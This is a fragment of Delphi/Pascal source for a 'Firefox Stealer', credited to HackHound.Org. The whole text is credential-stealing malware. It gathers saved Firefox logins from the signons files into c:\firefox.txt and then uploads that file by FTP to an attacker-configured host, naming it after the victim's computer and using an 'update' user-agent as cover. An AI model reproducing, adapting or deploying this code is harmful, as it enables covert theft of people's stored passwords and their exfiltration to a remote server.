Code:
begin
// ----------------------------------------- \\
// Criar Ficheiro
assign(pass, 'c:\firefox.txt');
rewrite(pass);
// ----------------------------------------- \\
// Receber Dados Do Cliente
ih := GetResourceAsString(pchar('HOST'), RT_RCDATA);
iu := GetResourceAsString(pchar('USER'), RT_RCDATA);
ip := GetResourceAsString(pchar('PASS'), RT_RCDATA);
// ----------------------------------------- \\
// Converter String a PAnsiChar
ihost:= PAnsiChar(ih);
iuser:= PAnsiChar(iu);
ipass:= PAnsiChar(ip);
// ----------------------------------------- \\
writeln(pass, '=====================================');
writeln(pass, '========== Firefox Stealer ==========');
writeln(pass, '===== HackHound.Org - Visit Us! =====');
writeln(pass, '=====================================');
writeln(pass, ' ');
getffinfos;
GetFirefoxPasswords('signons.txt');
GetFirefoxPasswords('signons2.txt');
GetFirefoxPasswords('signons3.txt');
writeln(pass, ' ');
writeln(pass, '=====================================');
writeln(pass, '======== c0ded By |x Seabra x|=======');
writeln(pass, '=====================================');
close(pass);
ifile:= 'c:\firefox.txt';
iremote:= PC+'_'+Numeros+'.txt';
hopen:= internetopen(pchar('update'), INTERNET_OPEN_TYPE_DIRECT, nil, nil, INTERNET_FLAG_ASYNC);
hConnect := InternetConnect(hOpen, ihost, 21, iuser, ipass, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpputfile(hconnect, pchar(ifile), pchar(iremote), FTP_TRANSFER_TYPE_ASCII, 0);
end.